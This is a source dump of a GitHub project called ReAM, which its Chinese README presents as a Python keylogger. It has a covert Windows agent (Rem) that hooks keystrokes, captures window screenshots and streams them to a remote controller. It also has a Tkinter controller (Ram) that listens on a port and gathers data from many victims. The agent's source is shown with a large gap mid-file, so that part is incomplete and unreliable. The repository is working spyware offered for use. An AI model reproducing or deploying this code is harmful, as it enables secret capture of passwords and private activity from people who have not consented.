├── .gitignore ├── README.md ├── Ram ├── ram.py └── requirements.txt └── Rem ├── addr.txt ├── build.py ├── rem.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | /.idea/ 2 | *.pyc 3 | __pycache__/ 4 | /Rem/build/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ReAM 2 | 基于 Python 的键盘记录器。 3 | 4 | 分为被控端(`Rem`)控制端(`Ram`)两部分。 5 | 6 | `Rem` 经过 `cxfreeze` 打包后可以隐蔽地启动、记录相关数据并尝试连接由配置文件指定的 `Ram`。 7 | 8 | `Ram` 可以收集多个被控端的数据。 9 | 10 | `Rem` 支持 Python 2 和 Python 3,但推荐使用 Python 2,因为 `pyHook` 的 Python 3 fork 安装不太方便,而且 Python 2 的脚本打包之后体积更小。 11 | 12 | `Ram` 只支持 Python 3。 13 | 14 | 预期中的功能列表: 15 | 16 | - 离线记录、查看数据; 17 | - 窗口截图; 18 | - 被控端配置文件; 19 | - 主控端保存记录到文件。 20 | 21 | ## 截图 22 | 23 | **v1.0** 实现了截图功能 24 | ![v1.0_1](https://cloud.githubusercontent.com/assets/6646473/16311962/30685064-39a5-11e6-9e6a-c5a6e913aed5.png) 25 | ![v1.0_2](https://cloud.githubusercontent.com/assets/6646473/16311882/d9761d72-39a4-11e6-90d3-c3655e05fe5d.png) 26 | 27 | **v0.5** 28 | ![v0.5_1](https://cloud.githubusercontent.com/assets/6646473/16302387/6c90017c-397d-11e6-97d5-89ecd0151076.png) 29 | 30 | ## R.M.T! R.M.T! R.M.T! 31 | ![rmt](https://cloud.githubusercontent.com/assets/6646473/16269759/2dc64044-38c6-11e6-89d4-d7e737f9c941.png) 32 | -------------------------------------------------------------------------------- /Ram/ram.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import base64 3 | from tkinter import * 4 | from tkinter.ttk import * 5 | import socket 6 | import threading 7 | import json 8 | import time 9 | from ast import literal_eval 10 | from PIL import Image, ImageTk 11 | from io import BytesIO 12 | 13 | MOD_KEYS={'Ctrl','Alt','Shift','Win'} 14 | PORT=48684 15 | 16 | current_id=None 17 | imgs=[] 18 | 19 | tk=Tk() 20 | tk.title('Ram (not listening)') 21 | tk.rowconfigure(0,weight=1) 22 | tk.columnconfigure(0,weight=1) 23 | 24 | book=Notebook(tk) 25 | book.grid(row=0,column=0,sticky='nswe') 26 | book.rowconfigure(0,weight=1) 27 | book.columnconfigure(0,weight=1) 28 | 29 | class FancyPrefix: 30 | def __init__(self): 31 | self.time='' 32 | self.catagory='' 33 | 34 | def next(self,time,catagory,value): 35 | now_time=':'.join(time.split(':')[:2]) 36 | out=(now_time if now_time!=self.time else ' '*len(self.time))+\ 37 | (' >> ' if catagory!=self.catagory else ' ')+value 38 | self.time=now_time 39 | self.catagory=catagory 40 | return out 41 | 42 | def _scroll(root,clas,config,row,column): 43 | outer_frame=Frame(root) 44 | outer_frame.grid(row=row,column=column,sticky='nswe') 45 | outer_frame.rowconfigure(0,weight=1) 46 | outer_frame.columnconfigure(0,weight=1) 47 | 48 | obj=clas(outer_frame,**config) 49 | obj.grid(row=0,column=0,sticky='nswe') 50 | scroll_bar=Scrollbar(outer_frame,orient=VERTICAL,command=obj.yview) 51 | scroll_bar.grid(row=0,column=1,sticky='ns') 52 | obj['yscrollcommand'] = scroll_bar.set 53 | 54 | return obj 55 | 56 | def _write(chunk,te,lvar): 57 | global current_id 58 | 59 | if chunk['type']!='title': 60 | te.insert(END,chunk['time'],'time') 61 | te.insert(END,' ') 62 | if chunk['type']=='string': 63 | te.insert(END,'"','info') 64 | te.insert(END,chunk['value'],'string') 65 | te.insert(END,'"','info') 66 | elif chunk['type']=='modkey': 67 | for key in chunk['value']: 68 | te.insert(END,' %s '%key,'modkey' if key in MOD_KEYS else 'key') 69 | elif chunk['type']=='title': 70 | te.insert(END,'\n') 71 | te.insert(END,'[%s] %s'%(chunk['value'][0],chunk['value'][1]),'title') 72 | old_var=literal_eval(lvar.get() or '()') 73 | te.mark_set('ind_%d'%len(old_var),'end -1 lines') 74 | if current_id!=chunk['value'][0]: 75 | current_id=chunk['value'][0] 76 | lvar.set(old_var+(lvar.fancy.next(chunk['time'],current_id,chunk['value'][1]),)) 77 | else: 78 | te.insert(END,str(chunk),'warning') 79 | if chunk['image']: 80 | te.insert(END,' ') 81 | te.insert(END,'[img]','img') 82 | te.mark_set('img_%d'%len(imgs),'end -1 lines +2 chars') 83 | imgs.append(chunk['image']) 84 | te.insert(END,'\n') 85 | 86 | def handle(s, addr): 87 | f=Frame(tk) 88 | f.rowconfigure(0,weight=1) 89 | f.columnconfigure(0,weight=3) 90 | f.columnconfigure(1,weight=2) 91 | book.add(f,text=' %s : %s '%addr) 92 | 93 | lvar=StringVar(value=()) 94 | lvar.fancy=FancyPrefix() 95 | li=_scroll(f,Listbox,{'font':'Consolas -13','listvariable':lvar,'width':100},0,0) 96 | te=_scroll(f,Text,{'font':'Consolas -13'},0,1) 97 | 98 | def select_callback(*_): 99 | x=li.curselection() 100 | if x: 101 | te.see('ind_%d'%x[0]) 102 | 103 | li.bind('<>',select_callback) 104 | 105 | te.tag_config('warning',foreground='#fff',background='#f00') 106 | te.tag_config('string',foreground='#00f') 107 | te.tag_config('info',foreground='#aaa') 108 | te.tag_config('modkey',foreground='#000',background='#ff0') 109 | te.tag_config('key',foreground='#fff',background='#444') 110 | te.tag_config('title',foreground='#444') 111 | te.tag_config('time',background='#0f0') 112 | te.tag_config('img',background='#00f',foreground='#fff') 113 | 114 | def breaker(event): 115 | if event.keysym not in ('Alt_L','Alt_R','F4'): 116 | return 'break' 117 | 118 | te.bind('',breaker) 119 | 120 | def clicker(event): 121 | def _show_img(imgid): 122 | tl=Toplevel(tk) 123 | tl.title('Screenshot #%d'%imgid) 124 | tl.attributes('-topmost',True) 125 | tl.attributes('-toolwindow',True) 126 | tl.rowconfigure(0,weight=1) 127 | tl.columnconfigure(0,weight=1) 128 | tl.focus_force() 129 | 130 | img=ImageTk.PhotoImage(Image.open(BytesIO(base64.b64decode(imgs[imgid].encode())))) 131 | canvas=Canvas(tl,background='#ddd',xscrollincrement='2',yscrollincrement='2') 132 | canvas.grid(row=0,column=0,sticky='nswe') 133 | 134 | def startmove(event): 135 | nonlocal movex 136 | nonlocal movey 137 | movex,movey=event.x,event.y 138 | 139 | def moving(event): 140 | nonlocal movex 141 | nonlocal movey 142 | canvas.xview_scroll(movex-event.x,'units') 143 | canvas.yview_scroll(movey-event.y,'units') 144 | movex,movey=event.x,event.y 145 | 146 | movex,movey=0,0 147 | canvas.bind("",startmove) 148 | canvas.bind("",moving) 149 | 150 | midwidth=canvas.winfo_width()//2 151 | midheight=canvas.winfo_height()//2 152 | imgwidth=img.width() 153 | imgheight=img.height() 154 | canvas['scrollregion']=( 155 | midwidth-imgwidth/2-20,midheight-imgheight/2-20, 156 | midwidth+imgwidth/2+20,midheight+imgheight/2+20) 157 | canvas.create_image(midwidth,midheight,anchor=CENTER,image=img) 158 | canvas.fuck_python_gc=img 159 | 160 | tl.geometry('%dx%d'%( 161 | min(imgwidth+40,tl.winfo_screenwidth()-150),min(imgheight+40,tl.winfo_screenheight()-150) 162 | )) 163 | 164 | mark=te.mark_next(te.index('@%s,%s -1 lines +2 chars'%(event.x,event.y))) 165 | if mark.startswith('img_') and mark[4:].isdigit: 166 | _show_img(int(mark[4:])) 167 | 168 | te.tag_bind('img','',clicker) 169 | 170 | while True: 171 | try: 172 | xx=s.readline() 173 | except socket.error as e: 174 | te.insert(END,time.strftime('%H:%M:%S',time.localtime()),'time') 175 | te.insert(END,' ') 176 | te.insert(END,'Connection closed.','warning') 177 | te.insert(END,' ') 178 | te.insert(END,str(e),'string') 179 | raise 180 | #print(xx) 181 | if xx: 182 | chunk=json.loads(xx) 183 | _write(chunk,te,lvar) 184 | 185 | def listener(): 186 | global mainsock 187 | 188 | mainsock=socket.socket() 189 | mainsock.bind(('0.0.0.0',PORT)) 190 | mainsock.listen(10) 191 | tk.title('Ram (listening on port %d)'%PORT) 192 | 193 | while True: 194 | sock,addr=mainsock.accept() 195 | threading.Thread(target=handle,args=(sock.makefile(encoding='utf-8'),addr)).start() 196 | 197 | threading.Thread(target=listener).start() 198 | mainloop() 199 | mainsock.close() -------------------------------------------------------------------------------- /Ram/requirements.txt: -------------------------------------------------------------------------------- 1 | pillow -------------------------------------------------------------------------------- /Rem/addr.txt: -------------------------------------------------------------------------------- 1 | 127.0.0.1:48684 -------------------------------------------------------------------------------- /Rem/build.py: -------------------------------------------------------------------------------- 1 | from cx_Freeze import setup, Executable 2 | 3 | import sys 4 | assert sys.version_info[0]==2 5 | if len(sys.argv)==1: 6 | sys.argv.append('build') 7 | 8 | buildOptions = dict(packages = ['Queue'], excludes = []) 9 | 10 | import sys 11 | base = 'Win32Gui' if sys.platform=='win32' else None 12 | 13 | executables = [ 14 | Executable('rem.py', base=base) 15 | ] 16 | 17 | setup(name='rem', 18 | version = '1.0', 19 | description = '', 20 | options = dict(build_exe = buildOptions), 21 | executables = executables) 22 | 23 | import os 24 | import shutil 25 | shutil.copyfile('addr.txt','build/exe.win32-2.7/addr.txt') 26 | os.remove('build/exe.win32-2.7/_hashlib.pyd') 27 | os.remove('build/exe.win32-2.7/_ssl.pyd') -------------------------------------------------------------------------------- /Rem/rem.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import threading 4 | import pyHook 5 | import pythoncom 6 | import time 7 | import json 8 | import socket 9 | import sys 10 | 11 | PY2=sys.version_info[0]==2 12 | 13 | queue=__import__('Queue' if PY2 else 'queue') 14 | 15 | SPECIAL_KEYS={ 16 | 'Lcontrol','Lmenu','Lwin','Rcontrol','Rmenu','Rwin', 17 | 'Escape','Snapshot','Home','End','Prior','Next','Return', 18 | 'F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','F11','F12', 19 | } 20 | MOD_KEYS={ 21 | 'Lcontrol','Lmenu','Lwin','Rcontrol','Rmenu','Rwin', 22 | } 23 | SHIFT={'Lshift','Rshift'} 24 | NICKNAME={ 25 | 'Up': '↑', 'Down': '↓', 'Left': '←', 'Right': '→', 'Tab': '⇥', 26 | 'Return': '⏎', 'Space': '⎵', 'Back': '◁', 'Delete': '◀', 27 | 'Escape': 'Esc', 'Snapshot': 'PrtSc', 'Prior': 'PgUp', 'Next': 'PgDn', 28 | 'Lcontrol': 'Ctrl', 'Lmenu': 'Alt', 'Lwin': 'Win', 29 | 'Rcontrol': 'Ctrl', 'Rmenu': 'Alt', 'Rwin': 'Win', 30 | 'Oem_Minus': '-', 'Oem_Plus': '=', 'Oem_Comma': ',', 'Oem_Period': '.', 31 | 'Oem_5': '\\', 'Oem_3': '`', 'Oem_2': '/', 'Oem_1': ';', 'Oem_7': "'", 'Oem_4': '[', 'Oem_6': ']', 32 | } 33 | STRING_TIMEOUT=2 34 | SCREENSHOT_THRESHOLD_TIME=.5 35 | 36 | with open('addr.txt','r') as f: 37 | RAM_ADDR=f.read().strip().split(':') 38 | RAM_ADDR[1]=int(RAM_ADDR[1]) 39 | print(RAM_ADDR) 40 | 41 | last_screenshot_time=0 42 | 43 | def screenshot(): 44 | import win32gui 45 | from PIL import ImageGrab 46 | import base64 47 | from io import BytesIO 48 | 49 | global last_screenshot_time 50 | if time.time()-last_screenshot_timeSTRING_TIMEOUT: 156 | status='idle' 157 | if status=='idle': 158 | if event.Key in SPECIAL_KEYS: 159 | status='modkey' 160 | pumper.create(status,[]) 161 | else: 162 | status='string' 163 | pumper.create(status,'') 164 | pumper.img() 165 | 166 | if status=='string': 167 | pumper.msg.value+=(proc() or (chr(event.Ascii) if event.Ascii else '⍰')) 168 | else: #status=='modkey' 169 | if any((s in holdkey for s in SHIFT)): 170 | pumper.msg.value.append('Shift') 171 | for s in SHIFT: 172 | holdkey.discard(s) 173 | pumper.msg.value.append(proc() or event.Key) 174 | if event.Key=='Return': 175 | pumper.img() 176 | 177 | last_time=time.time() 178 | 179 | def queue_finder(): 180 | while True: 181 | worker(kqueue.get()) 182 | 183 | def keydown(event): 184 | holdkey.add(event.Key) 185 | if event.Key not in SHIFT: 186 | kqueue.put(event) 187 | return True 188 | 189 | def keyup(event): 190 | global status 191 | holdkey.discard(event.Key) 192 | if status=='modkey' and not holdkey: 193 | pumper.pump() 194 | status='idle' 195 | return True 196 | 197 | if __name__=='__main__': 198 | #print(len(screenshot())) 199 | threading.Thread(target=queue_finder).start() 200 | hooker() -------------------------------------------------------------------------------- /Rem/requirements.txt: -------------------------------------------------------------------------------- 1 | pyhook 2 | pillow 3 | pywin32 4 | --------------------------------------------------------------------------------